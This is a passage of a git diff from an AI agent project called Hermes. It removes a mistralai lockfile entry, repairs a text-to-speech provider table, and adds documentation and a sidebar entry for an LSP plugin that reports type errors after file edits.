version = "1.1.5"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/2d/db/2f4ecc24da35c6142b39c353d5b7c16eef955cc94b35a48d3fa47996d7c3/jsonpath_python-1.1.5.tar.gz", hash = "sha256:ceea2efd9e56add09330a2c9631ea3d55297b9619348c1055e5bfb9cb0b8c538", size = 87352, upload-time = "2026-03-17T06:16:40.597Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/28/50/1a313fb700526b134c71eb8a225d8b83be0385dbb0204337b4379c698cef/jsonpath_python-1.1.5-py3-none-any.whl", hash = "sha256:a60315404d70a65e76c9a782c84e50600480221d94a58af47b7b4d437351cb4b", size = 14090, upload-time = "2026-03-17T06:16:39.152Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jsonschema"
|
||||
version = "4.26.0"
|
||||
@@ -3117,25 +3115,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mistralai"
|
||||
version = "2.3.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "eval-type-backport" },
|
||||
{ name = "httpx" },
|
||||
{ name = "jsonpath-python" },
|
||||
{ name = "opentelemetry-api" },
|
||||
{ name = "opentelemetry-semantic-conventions" },
|
||||
{ name = "pydantic" },
|
||||
{ name = "python-dateutil" },
|
||||
{ name = "typing-inspection" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/4d/05/40c38c8893f0ec858756b30f4a939378fc62cf33565af538a843497f3f24/mistralai-2.3.0.tar.gz", hash = "sha256:eb371a9b3b62552f3d4a274ecf5b2c48b90fd3439ecd1425e7f5163cdd87e29a", size = 387145, upload-time = "2026-04-03T15:06:48.927Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/57/d06cbfd96ec6dc45d5c1fe9456f7fcfcb9549c9fa91e213561d1d88729e7/mistralai-2.3.0-py3-none-any.whl", hash = "sha256:22111747c215f1632141660151924f06579f87cd8db2649e0b1f87721d076851", size = 925544, upload-time = "2026-04-03T15:06:47.593Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "modal"
|
||||
version = "1.3.4"
|
||||
|
||||
@@ -56,12 +56,12 @@ See [Browser Automation](/docs/user-guide/features/browser) for setup and usage.
|
||||
Text-to-speech and speech-to-text across all messaging platforms:
|
||||
|
||||
| Provider | Quality | Cost | API Key |
|
||||
||----------|---------|------|---------|
|
||||
|| **Edge TTS** (default) | Good | Free | None needed |
|
||||
|| **ElevenLabs** | Excellent | Paid | `ELEVENLABS_API_KEY` |
|
||||
|| **OpenAI TTS** | Good | Paid | `VOICE_TOOLS_OPENAI_KEY` |
|
||||
|| **MiniMax** | Good | Paid | `MINIMAX_API_KEY` |
|
||||
|| **NeuTTS** | Good | Free | None needed |
|
||||
|----------|---------|------|---------|
|
||||
| **Edge TTS** (default) | Good | Free | None needed |
|
||||
| **ElevenLabs** | Excellent | Paid | `ELEVENLABS_API_KEY` |
|
||||
| **OpenAI TTS** | Good | Paid | `VOICE_TOOLS_OPENAI_KEY` |
|
||||
| **MiniMax** | Good | Paid | `MINIMAX_API_KEY` |
|
||||
| **NeuTTS** | Good | Free | None needed |
|
||||
|
||||
Speech-to-text supports six providers: local faster-whisper (free, runs on-device), a local command wrapper, Groq, OpenAI Whisper API, Mistral, and xAI. Voice message transcription works across Telegram, Discord, WhatsApp, and other messaging platforms. See [Voice & TTS](/docs/user-guide/features/tts) and [Voice Mode](/docs/user-guide/features/voice-mode) for details.
|
||||
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
---
|
||||
sidebar_position: 17
|
||||
title: "LSP — Semantic Diagnostics"
|
||||
description: "Real language servers (pyright, gopls, rust-analyzer, …) surfacing type errors on write_file and patch."
|
||||
---
|
||||
|
||||
# LSP Plugin — Semantic Diagnostics
|
||||
|
||||
The LSP plugin runs real language servers (pyright, gopls, rust-analyzer, typescript-language-server, and ~20 more) in the background and surfaces their diagnostics when the agent writes files. The agent sees type errors, undefined names, and missing imports **introduced by its edit** — not just syntax errors.
|
||||
|
||||
## Enable
|
||||
|
||||
Add `lsp` to your enabled plugins:
|
||||
|
||||
```yaml
|
||||
# ~/.hermes/config.yaml
|
||||
plugins:
|
||||
enabled:
|
||||
- lsp
|
||||
```
|
||||
|
||||
Or use the CLI:
|
||||
|
||||
```bash
|
||||
hermes plugins enable lsp
|
||||
```
|
||||
|
||||
That's it. On the next session, the plugin activates for any file edit inside a git repository.
|
||||
|
||||
## Install Language Servers
|
||||
|
||||
The plugin **detects** servers already on your PATH — it doesn't auto-install anything. Use `hermes lsp status` to see what's available:
|
||||
|
||||
```bash
|
||||
hermes lsp status
|
||||
```
|
||||
|
||||
```
|
||||
LSP Service
|
||||
===========
|
||||
enabled: True
|
||||
|
||||
Registered Servers
|
||||
==================
|
||||
✓ pyright [installed ] .py, .pyi
|
||||
✓ typescript [installed ] .ts, .tsx, .js, .jsx
|
||||
· gopls [missing ] .go
|
||||
? rust-analyzer [manual-only] .rs
|
||||
```
|
||||
|
||||
To install a server into the Hermes-managed staging directory (`$HERMES_HOME/lsp/bin/`):
|
||||
|
||||
```bash
|
||||
hermes lsp install pyright # npm-based
|
||||
hermes lsp install gopls # go install
|
||||
hermes lsp install bash-language-server
|
||||
hermes lsp install-all # try all recipes
|
||||
```
|
||||
|
||||
Servers that are too heavy to auto-install (rust-analyzer, clangd, lua-language-server) are marked `manual-only` — install them through your normal toolchain (`rustup component add rust-analyzer`, etc.).
|
||||
|
||||
### Other ways to make servers available
|
||||
|
||||
- **System PATH**: If `pyright-langserver` is already on your PATH (e.g., from `npm install -g pyright`), the plugin finds it automatically.
|
||||
- **Custom path**: Pin a specific binary in config:
|
||||
```yaml
|
||||
lsp:
|
||||
servers:
|
||||
gopls:
|
||||
command: ["/usr/local/go/bin/gopls", "serve"]
|
||||
```
|
||||
|
||||
## How It Works
|
||||
|
||||
On every `write_file` or `patch` call inside a git workspace:
|
||||
|
||||
1. **Before the write**: plugin snapshots current diagnostics for the file (baseline)
|
||||
2. **After the write**: plugin queries the language server for fresh diagnostics
|
||||
3. **Delta**: only errors *introduced by this edit* are surfaced (pre-existing errors filtered out)
|
||||
4. **Injection**: diagnostics appear as an `lsp_diagnostics` field in the tool result JSON
|
||||
|
||||
The agent sees output like:
|
||||
|
||||
```json
|
||||
{
|
||||
"bytes_written": 42,
|
||||
"dirs_created": false,
|
||||
"lsp_diagnostics": "<diagnostics file=\"/path/to/foo.py\">\nERROR [2:12] Type \"str\" is not assignable to return type \"int\" [reportReturnType] (Pyright)\n</diagnostics>"
|
||||
}
|
||||
```
|
||||
|
||||
### When LSP stays dormant
|
||||
|
||||
- **No git workspace**: files outside a git repo don't trigger LSP
|
||||
- **No matching server**: if you edit a `.rs` file and rust-analyzer isn't installed, LSP silently skips
|
||||
- **Remote backends**: Docker, SSH, Modal — the host-side LSP can't see container files, so it skips
|
||||
- **Plugin disabled**: if `lsp` isn't in `plugins.enabled`, nothing happens
|
||||
- **Cold start**: first write after server spawn may timeout (3s) — diagnostics appear on subsequent writes
|
||||
|
||||
## Configuration
|
||||
|
||||
```yaml
|
||||
# ~/.hermes/config.yaml
|
||||
lsp:
|
||||
enabled: true # master toggle (default: true when plugin is enabled)
|
||||
wait_mode: document # "document" or "full" (workspace-wide)
|
||||
wait_timeout: 5.0 # max seconds to wait for diagnostics
|
||||
install_strategy: manual # "manual" = detect only; "auto" = install on first use
|
||||
|
||||
servers: # per-server overrides
|
||||
pyright:
|
||||
disabled: false # set true to skip even when installed
|
||||
command: ["pyright-langserver", "--stdio"] # pin binary
|
||||
env: # extra env vars for the process
|
||||
PYTHONPATH: "/my/stubs"
|
||||
initialization_options: # LSP initializationOptions
|
||||
python:
|
||||
analysis:
|
||||
typeCheckingMode: "strict"
|
||||
```
|
||||
|
||||
## CLI Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes lsp status` | Service state + per-server install status |
|
||||
| `hermes lsp list` | All registered servers (26 languages) |
|
||||
| `hermes lsp install <id>` | Install a server binary |
|
||||
| `hermes lsp install-all` | Try every auto-install recipe |
|
||||
| `hermes lsp restart` | Tear down running servers (next edit re-spawns) |
|
||||
| `hermes lsp which <id>` | Print resolved binary path |
|
||||
|
||||
## Supported Languages
|
||||
|
||||
| Language | Server | Install |
|
||||
|----------|--------|---------|
|
||||
| Python | pyright | `hermes lsp install pyright` |
|
||||
| TypeScript/JavaScript | typescript-language-server | `hermes lsp install typescript-language-server` |
|
||||
| Go | gopls | `hermes lsp install gopls` |
|
||||
| Rust | rust-analyzer | manual (rustup) |
|
||||
| C/C++ | clangd | manual (LLVM) |
|
||||
| Vue | @vue/language-server | `hermes lsp install @vue/language-server` |
|
||||
| Svelte | svelte-language-server | `hermes lsp install svelte-language-server` |
|
||||
| Bash/Zsh | bash-language-server | `hermes lsp install bash-language-server` |
|
||||
| YAML | yaml-language-server | `hermes lsp install yaml-language-server` |
|
||||
| PHP | intelephense | `hermes lsp install intelephense` |
|
||||
| Lua | lua-language-server | manual |
|
||||
| Dockerfile | dockerfile-language-server | `hermes lsp install dockerfile-language-server-nodejs` |
|
||||
| Terraform | terraform-ls | manual |
|
||||
| Dart | dart language-server | manual |
|
||||
| Haskell | haskell-language-server | manual |
|
||||
| Julia | LanguageServer.jl | manual |
|
||||
| Clojure | clojure-lsp | manual |
|
||||
| Nix | nixd | manual |
|
||||
| Zig | zls | manual |
|
||||
| Gleam | gleam lsp | manual |
|
||||
| Elixir | elixir-ls | manual |
|
||||
| OCaml | ocaml-lsp | manual |
|
||||
| Kotlin | kotlin-language-server | manual |
|
||||
| Java | jdtls | manual |
|
||||
| Prisma | prisma language-server | manual |
|
||||
| Astro | @astrojs/language-server | `hermes lsp install @astrojs/language-server` |
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
**"No diagnostics appearing"**
|
||||
1. Check `hermes lsp status` — is the server installed?
|
||||
2. Is the file inside a git repository? (`git rev-parse --git-dir` should succeed)
|
||||
3. Check logs: `hermes logs --level WARNING | grep lsp`
|
||||
|
||||
**"Server unavailable" warning in logs**
|
||||
The binary isn't on PATH or in `$HERMES_HOME/lsp/bin/`. Run `hermes lsp install <id>`.
|
||||
|
||||
**"First write has no diagnostics, second does"**
|
||||
Normal. The language server needs time to index the project on cold start. The 3-second timeout keeps writes fast — diagnostics appear once the server is warm.
|
||||
|
||||
**Performance**
|
||||
- Warm server: diagnostics in 200–500ms (pyright), 1–2s (typescript-language-server)
|
||||
- Cold start: 5–30s indexing (project-size dependent) — writes succeed immediately, diagnostics arrive on subsequent edits
|
||||
- Servers stay alive for the session duration (one process per language per project root)
|
||||
@@ -58,6 +58,7 @@ const sidebars: SidebarsConfig = {
|
||||
'user-guide/features/skins',
|
||||
'user-guide/features/plugins',
|
||||
'user-guide/features/built-in-plugins',
|
||||
'user-guide/features/lsp',
|
||||
],
|
||||
},
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user